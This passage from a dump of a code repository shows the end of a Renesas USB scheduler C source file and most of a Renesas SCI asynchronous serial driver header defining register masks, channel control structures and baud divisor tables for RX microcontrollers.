USB_E_ERROR;\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_RelBlk\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_RelBlk\nDescription : Call the function to release a memory block.\nArgument : uint8_t id : ID number (mailbox).\n : USB_UTR_t* blk : Memory block pointer.\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t R_usb_cstd_RelBlk( uint8_t id, USB_UTR_t* blk )\n{\n USB_ER_t err;\n\n err = usb_cstd_RelBlk( id, blk );\n\n return err;\n}\n/******************************************************************************\nEnd of function R_usb_cstd_RelBlk\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_WaiMsg\nDescription : Runs USB_SND_MSG after running the scheduler the specified \n : number of times.\nArgument : uint8_t id : ID number (mailbox).\n : USB_MSG_t *mess : Message pointer.\n : uint16_t times : Timeout value.\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR.\n******************************************************************************/\nUSB_ER_t usb_cstd_WaiMsg( uint8_t id, USB_MSG_t* mess, USB_TM_t times )\n{\n#ifdef FREE_RTOS_PP\n USB_ER_t err;\n\n vTaskDelay( times );\n\n err = usb_cstd_SndMsg( id, mess );\n\n return err;\n#else\n uint8_t i;\n\n if( id < USB_IDMAX )\n {\n for( i =0; i <USB_WAIT_EVENT_MAX ; i++ )\n {\n if( usb_scstd_WaitCounter[id][i] == 0 )\n {\n usb_scstd_WaitAdd[id][i] = mess;\n usb_scstd_WaitCounter[id][i] = times;\n return USB_E_OK;\n }\n }\n }\n /* Error !! */\n USB_PRINTF0(\"WAI_MSG ERROR !!\\n\");\n return USB_E_ERROR;\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_WaiMsg\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_WaiMsg\nDescription : Will run USB_SND_MSG after running the scheduler the specified \n : number of times.\nArgument : uint8_t id : ID number (mailbox).\n : USB_MSG_t *mess : Message pointer.\n : uint16_t times : Timeout value.\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR.\n******************************************************************************/\nUSB_ER_t R_usb_cstd_WaiMsg( uint8_t id, USB_MSG_t* mess, USB_TM_t times )\n{\n USB_ER_t err;\n\n err = usb_cstd_WaiMsg( id, mess, times );\n\n return err;\n}\n/******************************************************************************\nEnd of function R_usb_cstd_WaiMsg\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_WaitScheduler\nDescription : Schedules a wait request.\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_cstd_WaitScheduler(void)\n{\n#ifdef FREE_RTOS_PP\n /* empty */\n /* This function is not used.\n Nothing is processed in this function. */\n#else\n USB_ER_t err;\n uint8_t id;\n uint8_t i;\n\n for( id=0; id < USB_IDMAX; id++ )\n {\n for( i =0; i <USB_WAIT_EVENT_MAX ; i++ )\n {\n if(usb_scstd_WaitCounter[id][i] != 0)\n {\n usb_scstd_WaitCounter[id][i]--;\n if(usb_scstd_WaitCounter[id][i] == 0)\n {\n err = usb_cstd_SndMsg(id, usb_scstd_WaitAdd[id][i]);\n if( err != USB_E_OK )\n {\n usb_scstd_WaitCounter[id][i]++;\n }\n }\n }\n }\n }\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_WaitScheduler\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_ScheInit\nDescription : Scheduler initialization.\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_cstd_ScheInit(void)\n{\n#ifdef FREE_RTOS_PP\n /* empty */\n /* This function is not used.\n Nothing is processed in this function. */\n#else\n uint8_t i;\n uint8_t j;\n\n /* Initial Scheduler */\n usb_scstd_ID_use = USB_NONE;\n usb_scstd_ScheduleFlag = USB_NONE;\n\n /* Initialize priority table pointer and priority table */\n for(i=0;i!=USB_PRIMAX;i++)\n {\n usb_scstd_PriR[i] = USB_NONE;\n usb_scstd_PriW[i] = USB_NONE;\n for(j=0;j!=USB_TABLEMAX;j++)\n {\n usb_scstd_TableID[i][j] = USB_IDMAX;\n }\n }\n\n /* Initialize block table */\n for(i=0;i!=USB_BLKMAX;i++)\n {\n usb_scstd_BlkFlg[i] = USB_NONE;\n }\n\n /* Initialize priority */\n for(i=0;i!=USB_IDMAX;i++)\n {\n usb_scstd_Pri[i] = (uint8_t)USB_IDCLR;\n for( j =0; j <USB_WAIT_EVENT_MAX ; j++ )\n {\n usb_scstd_WaitAdd[i][j] = (USB_MSG_t*)USB_NONE;\n usb_scstd_WaitCounter[i][j] = USB_NONE;\n }\n }\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_ScheInit\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_Scheduler\nDescription : The scheduler.\nArgument : none\nReturn : none\n******************************************************************************/\nvoid R_usb_cstd_Scheduler(void)\n{\n#ifdef FREE_RTOS_PP\n /* empty */\n /* This function is not used.\n Nothing is processed in this function. */\n#else\n uint8_t usb_pri; /* Priority Counter */\n uint8_t usb_read; /* Priority Table read pointer */\n\n /* wait msg */\n usb_cstd_WaitScheduler();\n\n /* Priority Table reading */\n usb_pri = USB_CNTCLR;\n while( usb_pri < USB_PRIMAX )\n {\n usb_read = usb_scstd_PriR[usb_pri];\n if( usb_read != usb_scstd_PriW[usb_pri] )\n {\n /* Priority Table read pointer increment */\n usb_read++; \n if( usb_read >= USB_TABLEMAX )\n {\n usb_read = USB_TBLCLR;\n }\n /* Set practise message */\n usb_scstd_ID_use = usb_scstd_TableID[usb_pri][usb_read];\n usb_scstd_Add_use = usb_scstd_TableAdd[usb_pri][usb_read];\n usb_scstd_TableID[usb_pri][usb_read] = USB_IDMAX;\n usb_scstd_PriR[usb_pri] = usb_read;\n usb_scstd_ScheduleFlag = USB_FLGSET;\n usb_pri = USB_PRIMAX;\n }\n else\n {\n usb_pri++;\n }\n }\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function R_usb_cstd_Scheduler\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_SetTaskPri\nDescription : Set a task's priority.\nArgument : uint8_t tasknum : Task id.\n : uint8_t pri : The task priority to be set.\nReturn : none\n******************************************************************************/\nvoid R_usb_cstd_SetTaskPri(uint8_t tasknum, uint8_t pri)\n{\n#ifdef FREE_RTOS_PP\n /* empty */\n /* This function is not used.\n Nothing is processed in this function. */\n#else\n if(tasknum < USB_IDMAX)\n {\n if(pri < USB_PRIMAX)\n {\n usb_scstd_Pri[tasknum]=pri;\n }\n else if(pri == (uint8_t)USB_IDCLR)\n {\n usb_scstd_Pri[tasknum]=(uint8_t)USB_IDCLR;\n }\n else\n {\n }\n }\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function R_usb_cstd_SetTaskPri\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_CheckSchedule\nDescription : Check schedule flag to see if caller's \"time has come\", then \n : clear it.\nArgument : none\nReturn : flg : usb_scstd_ScheduleFlag\n******************************************************************************/\nuint8_t R_usb_cstd_CheckSchedule(void)\n{\n#ifdef FREE_RTOS_PP\n /* This function is not used. */\n return USB_FLGCLR; /* In order not to take out an error with compile. */\n#else\n uint8_t flg;\n\n flg = usb_scstd_ScheduleFlag;\n usb_scstd_ScheduleFlag = USB_FLGCLR;\n return flg;\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function R_usb_cstd_CheckSchedule\n******************************************************************************/\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.40387606620788574, "alphanum_fraction": 0.4447605013847351, "avg_line_length": 40.326019287109375, "blob_id": "1b6925e94a0bebc189656dfd60a961efcd94bd8c", "content_id": "5732b25e4c957a294024c116f1ff8c075dd5969c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 26367, "license_type": "no_license", "max_line_length": 120, "num_lines": 638, "path": "/r_sci_async_rx/src/r_sci_async_rx_private.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2011 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_sci_async_rx_private.h\n* Description : Functions for using SCI on RX devices. \n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n***********************************************************************************************************************/\n\n#ifndef SCI_ASYNC_PRIVATE_H\n#define SCI_ASYNC_PRIVATE_H\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Fixed width integer support. */\n#include <stdint.h>\n/* bool support */\n#include <stdbool.h>\n\n#include \"r_sci_async_rx_if.h\"\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* Bit position masks */\n#define BIT0_MASK (0x01U)\n#define BIT1_MASK (0x02U)\n#define BIT2_MASK (0x04U)\n#define BIT3_MASK (0x08U)\n#define BIT4_MASK (0x10U)\n#define BIT5_MASK (0x20U)\n#define BIT6_MASK (0x40U)\n#define BIT7_MASK (0x80U)\n#define BIT8_MASK (0x0100U)\n#define BIT9_MASK (0x0200U)\n#define BIT10_MASK (0x0400U)\n#define BIT11_MASK (0x0800U)\n#define BIT12_MASK (0x1000U)\n#define BIT13_MASK (0x2000U)\n#define BIT14_MASK (0x4000U)\n#define BIT15_MASK (0x8000U)\n#define BIT16_MASK (0x010000U)\n#define BIT17_MASK (0x020000U)\n#define BIT18_MASK (0x040000U)\n#define BIT19_MASK (0x080000U)\n#define BIT20_MASK (0x100000U)\n#define BIT21_MASK (0x200000U)\n#define BIT22_MASK (0x400000U)\n#define BIT23_MASK (0x800000U)\n#define BIT24_MASK (0x01000000U)\n#define BIT25_MASK (0x02000000U)\n#define BIT26_MASK (0x04000000U)\n#define BIT27_MASK (0x08000000U)\n#define BIT28_MASK (0x10000000U)\n#define BIT29_MASK (0x20000000U)\n#define BIT30_MASK (0x40000000U)\n#define BIT31_MASK (0x80000000U)\n\n\n/*****************************************************************************\nTypedef definitions\n******************************************************************************/\n\n/* ROM INFO */\n\ntypedef struct st_sci_ch_rom // SCI ROM info for channel control block\n{\n volatile __evenaccess struct st_sci12 *regs; // base ptr to ch registers\n volatile __evenaccess uint32_t *mstp; // ptr to mstp register\n uint32_t stop_mask; // mstp mask to disable ch\n volatile __evenaccess uint8_t *ipr; // ptr to IPR register\n volatile __evenaccess uint8_t *ir_rxi; // ptr to RXI IR register\n volatile __evenaccess uint8_t *ir_txi; // ptr to TXI IR register\n volatile __evenaccess uint8_t *ir_tei; // ptr to TEI IR register\n#ifndef BSP_MCU_RX63_ALL\n volatile __evenaccess uint8_t *ir_eri; // ptr to ERI IR register\n#endif\n /* \n * DO NOT use the enable/disable interrupt bits in the SCR \n * register. Pending interrupts can be lost that way.\n */\n volatile __evenaccess uint8_t *icu_rxi; // ptr to ICU register\n volatile __evenaccess uint8_t *icu_txi; \n volatile __evenaccess uint8_t *icu_tei; \n#ifndef BSP_MCU_RX63_ALL\n volatile __evenaccess uint8_t *icu_eri;\n uint8_t eri_en_mask; // bit mask to enable/disable eri INT in ICU\n#endif\n uint8_t rxi_en_mask; // bit mask to enable/disable rxi INT in ICU\n uint8_t txi_en_mask; // bit mask to enable/disable txi INT in ICU \n uint8_t tei_en_mask; // bit mask to enable/disable tei INT in ICU\n} sci_ch_rom_t;\n\n\n/* CHANNEL CONTROL BLOCK */\n\ntypedef struct st_sci_ch_ctrl // SCI channel control (for handle)\n{\n sci_ch_rom_t const *rom; // pointer to rom info\n sci_mode_t mode; // operational mode\n uint32_t baud_rate; // baud rate\n bool tx_idle; // TDR is empty\n void (*callback)(void *p_args); // function ptr for rcvr errs\n byteq_hdl_t tx_que; // transmit queue handle\n byteq_hdl_t rx_que; // receive queue handle\n} sci_ch_ctrl_t;\n\n\n/* BAUD DIVISOR INFO */\n\n// BRR = (PCLK/(divisor * baud)) - 1\n// when abcs=1, divisor = 32*pow(2,2n-1)\n// when abcs=0, divisor = 64*pow(2,2n-1)\n\ntypedef struct st_baud_divisor\n{\n int16_t divisor; // clock divisor\n uint8_t abcs; // abcs value to get divisor\n uint8_t cks; // cks value to get divisor (cks = n)\n} baud_divisor_t;\n\n\n/*****************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/* BAUD DIVISOR INFO */\n\n// Asynchronous\n// BRR = (PCLK/(divisor * baud)) - 1\n// when abcs=1, divisor = 32*pow(2,2n-1)\n// when abcs=0, divisor = 64*pow(2,2n-1)\n\n#define NUM_DIVISORS_ASYNC 8\nconst baud_divisor_t async_baud[NUM_DIVISORS_ASYNC]=\n{\n {16, 1, 0}, // divisor result, abcs, n\n {32, 0, 0},\n {64, 1, 1},\n {128, 0, 1},\n {256, 1, 2},\n {512, 0, 2},\n {1024, 1, 3},\n {2048, 0, 3}\n};\n#if 0\n// Synchronous and Simple SPI\n// BRR = (PCLK/(divisor * baud)) - 1\n// abcs=0, divisor = 8*pow(2,2n-1)\n\n#define NUM_DIVISORS_SYNC 4\nconst baud_divisor_t sync_baud[NUM_DIVISORS_SYNC]=\n{\n {4, 0, 0}, // divisor result, abcs, n\n {16, 0, 1},\n {64, 0, 2},\n {256, 0, 3}\n};\n\n// Simple I2C\n// BRR = (PCLK/(divisor * baud)) - 1\n// abcs=0, divisor = 64*pow(2,2n-1)\n\n#define NUM_DIVISORS_SI2C 4\nconst baud_divisor_t si2c_baud[NUM_DIVISORS_SI2C]=\n{\n {32, 0, 0}, // divisor result, abcs, n\n {128, 0, 1},\n {512, 0, 2},\n {2048, 0, 3}\n};\n#endif\n\n\n/* CHANNEL MEMORY ALLOCATIONS */\n\n#if SCI_CFG_CH0_INCLUDED\n/* queue buffers */\nuint8_t ch0_tx_buf[SCI_CFG_CH0_TX_BUFSIZ];\nuint8_t ch0_rx_buf[SCI_CFG_CH0_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch0_rom = {(volatile __evenaccess struct st_sci12 *)&SCI0,\n &SYSTEM.MSTPCRB.LONG, BIT31_MASK,\n &ICU.IPR[IPR_SCI0_RXI0].BYTE,\n &ICU.IR[IR_SCI0_RXI0].BYTE,\n &ICU.IR[IR_SCI0_TXI0].BYTE,\n &ICU.IR[IR_SCI0_TEI0].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI0_ERI0].BYTE,\n #endif\n &ICU.IER[IER_SCI0_RXI0].BYTE,\n &ICU.IER[IER_SCI0_TXI0].BYTE,\n &ICU.IER[IER_SCI0_TEI0].BYTE,\n #if defined(BSP_MCU_RX63_ALL) \n BIT6_MASK, BIT7_MASK, BIT0_MASK\n #elif defined(BSP_MCU_RX21_ALL)\n &ICU.IER[IER_SCI0_ERI0].BYTE,\n BIT6_MASK, BIT7_MASK, BIT0_MASK, BIT1_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch0_ctrl = {&ch0_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH1_INCLUDED\n/* queue buffers */\nuint8_t ch1_tx_buf[SCI_CFG_CH1_TX_BUFSIZ];\nuint8_t ch1_rx_buf[SCI_CFG_CH1_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch1_rom = {(volatile __evenaccess struct st_sci12 *)&SCI1,\n &SYSTEM.MSTPCRB.LONG, BIT30_MASK,\n &ICU.IPR[IPR_SCI1_RXI1].BYTE,\n &ICU.IR[IR_SCI1_RXI1].BYTE,\n &ICU.IR[IR_SCI1_TXI1].BYTE,\n &ICU.IR[IR_SCI1_TEI1].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI1_ERI1].BYTE,\n #endif\n &ICU.IER[IER_SCI1_RXI1].BYTE,\n &ICU.IER[IER_SCI1_TXI1].BYTE,\n &ICU.IER[IER_SCI1_TEI1].BYTE,\n #if defined(BSP_MCU_RX63_ALL) \n BIT1_MASK, BIT2_MASK, BIT3_MASK\n #elif defined(BSP_MCU_RX11_ALL) || defined(BSP_MCU_RX21_ALL)\n &ICU.IER[IER_SCI1_ERI1].BYTE,\n BIT2_MASK, BIT3_MASK, BIT4_MASK, BIT5_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch1_ctrl = {&ch1_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH2_INCLUDED\n/* queue buffers */\nuint8_t ch2_tx_buf[SCI_CFG_CH2_TX_BUFSIZ];\nuint8_t ch2_rx_buf[SCI_CFG_CH2_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch2_rom = {(volatile __evenaccess struct st_sci12 *)&SCI2,\n &SYSTEM.MSTPCRB.LONG, BIT29_MASK,\n &ICU.IPR[IPR_SCI2_RXI2].BYTE,\n &ICU.IR[IR_SCI2_RXI2].BYTE,\n &ICU.IR[IR_SCI2_TXI2].BYTE,\n &ICU.IR[IR_SCI2_TEI2].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI2_ERI2].BYTE,\n #endif\n &ICU.IER[IER_SCI2_RXI2].BYTE,\n &ICU.IER[IER_SCI2_TXI2].BYTE,\n &ICU.IER[IER_SCI2_TEI2].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT4_MASK, BIT5_MASK, BIT6_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch2_ctrl = {&ch2_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH3_INCLUDED\n/* queue buffers */\nuint8_t ch3_tx_buf[SCI_CFG_CH3_TX_BUFSIZ];\nuint8_t ch3_rx_buf[SCI_CFG_CH3_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch3_rom = {(volatile __evenaccess struct st_sci12 *)&SCI3,\n &SYSTEM.MSTPCRB.LONG, BIT28_MASK,\n &ICU.IPR[IPR_SCI3_RXI3].BYTE,\n &ICU.IR[IR_SCI3_RXI3].BYTE,\n &ICU.IR[IR_SCI3_TXI3].BYTE,\n &ICU.IR[IR_SCI3_TEI3].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI3_ERI3].BYTE,\n #endif\n &ICU.IER[IER_SCI3_RXI3].BYTE,\n &ICU.IER[IER_SCI3_TXI3].BYTE,\n &ICU.IER[IER_SCI3_TEI3].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT7_MASK, BIT0_MASK, BIT1_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch3_ctrl = {&ch3_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH4_INCLUDED\n/* queue buffers */\nuint8_t ch4_tx_buf[SCI_CFG_CH4_TX_BUFSIZ];\nuint8_t ch4_rx_buf[SCI_CFG_CH4_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch4_rom = {(volatile __evenaccess struct st_sci12 *)&SCI4,\n &SYSTEM.MSTPCRB.LONG, BIT27_MASK,\n &ICU.IPR[IPR_SCI4_RXI4].BYTE,\n &ICU.IR[IR_SCI4_RXI4].BYTE,\n &ICU.IR[IR_SCI4_TXI4].BYTE,\n &ICU.IR[IR_SCI4_TEI4].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI4_ERI4].BYTE,\n #endif\n &ICU.IER[IER_SCI4_RXI4].BYTE,\n &ICU.IER[IER_SCI4_TXI4].BYTE,\n &ICU.IER[IER_SCI4_TEI4].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT2_MASK, BIT3_MASK, BIT4_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch4_ctrl = {&ch4_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH5_INCLUDED\n/* queue buffers */\nuint8_t ch5_tx_buf[SCI_CFG_CH5_TX_BUFSIZ];\nuint8_t ch5_rx_buf[SCI_CFG_CH5_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch5_rom = {(volatile __evenaccess struct st_sci12 *)&SCI5,\n &SYSTEM.MSTPCRB.LONG, BIT26_MASK,\n &ICU.IPR[IPR_SCI5_RXI5].BYTE,\n &ICU.IR[IR_SCI5_RXI5].BYTE,\n &ICU.IR[IR_SCI5_TXI5].BYTE,\n &ICU.IR[IR_SCI5_TEI5].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI5_ERI5].BYTE,\n #endif\n &ICU.IER[IER_SCI5_RXI5].BYTE,\n &ICU.IER[IER_SCI5_TXI5].BYTE,\n &ICU.IER[IER_SCI5_TEI5].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT5_MASK, BIT6_MASK, BIT7_MASK\n #elif defined(BSP_MCU_RX11_ALL) || defined(BSP_MCU_RX21_ALL)\n &ICU.IER[IER_SCI5_ERI5].BYTE,\n BIT6_MASK, BIT7_MASK, BIT0_MASK, BIT1_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch5_ctrl = {&ch5_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH6_INCLUDED\n/* queue buffers */\nuint8_t ch6_tx_buf[SCI_CFG_CH6_TX_BUFSIZ];\nuint8_t ch6_rx_buf[SCI_CFG_CH6_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch6_rom = {(volatile __evenaccess struct st_sci12 *)&SCI6,\n &SYSTEM.MSTPCRB.LONG, BIT25_MASK,\n &ICU.IPR[IPR_SCI6_RXI6].BYTE,\n &ICU.IR[IR_SCI6_RXI6].BYTE,\n &ICU.IR[IR_SCI6_TXI6].BYTE,\n &ICU.IR[IR_SCI6_TEI6].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI6_ERI6].BYTE,\n #endif\n &ICU.IER[IER_SCI6_RXI6].BYTE,\n &ICU.IER[IER_SCI6_TXI6].BYTE,\n &ICU.IER[IER_SCI6_TEI6].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT0_MASK, BIT1_MASK, BIT2_MASK\n #elif defined(BSP_MCU_RX21_ALL)\n &ICU.IER[IER_SCI6_ERI6].BYTE,\n BIT2_MASK, BIT3_MASK, BIT4_MASK, BIT5_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch6_ctrl = {&ch6_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH7_INCLUDED\n/* queue buffers */\nuint8_t ch7_tx_buf[SCI_CFG_CH7_TX_BUFSIZ];\nuint8_t ch7_rx_buf[SCI_CFG_CH7_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch7_rom = {(volatile __evenaccess struct st_sci12 *)&SCI7,\n &SYSTEM.MSTPCRB.LONG, BIT24_MASK,\n &ICU.IPR[IPR_SCI7_RXI7].BYTE,\n &ICU.IR[IR_SCI7_RXI7].BYTE,\n &ICU.IR[IR_SCI7_TXI7].BYTE,\n &ICU.IR[IR_SCI7_TEI7].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI7_ERI7].BYTE,\n #endif\n &ICU.IER[IER_SCI7_RXI7].BYTE,\n &ICU.IER[IER_SCI7_TXI7].BYTE,\n &ICU.IER[IER_SCI7_TEI7].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT3_MASK, BIT4_MASK, BIT5_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch7_ctrl = {&ch7_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH8_INCLUDED\n/* queue buffers */\nuint8_t ch8_tx_buf[SCI_CFG_CH8_TX_BUFSIZ];\nuint8_t ch8_rx_buf[SCI_CFG_CH8_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch8_rom = {(volatile __evenaccess struct st_sci12 *)&SCI8,\n &SYSTEM.MSTPCRC.LONG, BIT27_MASK,\n &ICU.IPR[IPR_SCI8_RXI8].BYTE,\n &ICU.IR[IR_SCI8_RXI8].BYTE,\n &ICU.IR[IR_SCI8_TXI8].BYTE,\n &ICU.IR[IR_SCI8_TEI8].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI8_ERI8].BYTE,\n #endif\n &ICU.IER[IER_SCI8_RXI8].BYTE,\n &ICU.IER[IER_SCI8_TXI8].BYTE,\n &ICU.IER[IER_SCI8_TEI8].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT6_MASK, BIT7_MASK, BIT0_MASK\n #elif defined(BSP_MCU_RX21_ALL)\n &ICU.IER[IER_SCI8_ERI8].BYTE,\n BIT6_MASK, BIT7_MASK, BIT0_MASK, BIT1_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch8_ctrl = {&ch8_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH9_INCLUDED\n/* queue buffers */\nuint8_t ch9_tx_buf[SCI_CFG_CH9_TX_BUFSIZ];\nuint8_t ch9_rx_buf[SCI_CFG_CH9_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch9_rom = {(volatile __evenaccess struct st_sci12 *)&SCI9,\n &SYSTEM.MSTPCRC.LONG, BIT26_MASK,\n &ICU.IPR[IPR_SCI9_RXI9].BYTE,\n &ICU.IR[IR_SCI9_RXI9].BYTE,\n &ICU.IR[IR_SCI9_TXI9].BYTE,\n &ICU.IR[IR_SCI9_TEI9].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI9_ERI9].BYTE,\n #endif\n &ICU.IER[IER_SCI9_RXI9].BYTE,\n &ICU.IER[IER_SCI9_TXI9].BYTE,\n &ICU.IER[IER_SCI9_TEI9].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT1_MASK, BIT2_MASK, BIT3_MASK\n #elif defined(BSP_MCU_RX21_ALL)\n &ICU.IER[IER_SCI9_ERI9].BYTE,\n BIT2_MASK, BIT3_MASK, BIT4_MASK, BIT5_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch9_ctrl = {&ch9_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH10_INCLUDED\n/* queue buffers */\nuint8_t ch10_tx_buf[SCI_CFG_CH10_TX_BUFSIZ];\nuint8_t ch10_rx_buf[SCI_CFG_CH10_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch10_rom = {(volatile __evenaccess struct st_sci12 *)&SCI10,\n &SYSTEM.MSTPCRC.LONG, BIT25_MASK,\n &ICU.IPR[IPR_SCI10_RXI10].BYTE,\n &ICU.IR[IR_SCI10_RXI10].BYTE,\n &ICU.IR[IR_SCI10_TXI10].BYTE,\n &ICU.IR[IR_SCI10_TEI10].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI10_ERI10].BYTE,\n #endif\n &ICU.IER[IER_SCI10_RXI10].BYTE,\n &ICU.IER[IER_SCI10_TXI10].BYTE,\n &ICU.IER[IER_SCI10_TEI10].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT4_MASK, BIT5_MASK, BIT6_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch10_ctrl = {&ch10_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH11_INCLUDED\n/* queue buffers */\nuint8_t ch11_tx_buf[SCI_CFG_CH11_TX_BUFSIZ];\nuint8_t ch11_rx_buf[SCI_CFG_CH11_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch11_rom = {(volatile __evenaccess struct st_sci12 *)&SCI11,\n &SYSTEM.MSTPCRC.LONG, BIT24_MASK,\n &ICU.IPR[IPR_SCI11_RXI11].BYTE,\n &ICU.IR[IR_SCI11_RXI11].BYTE,\n &ICU.IR[IR_SCI11_TXI11].BYTE,\n 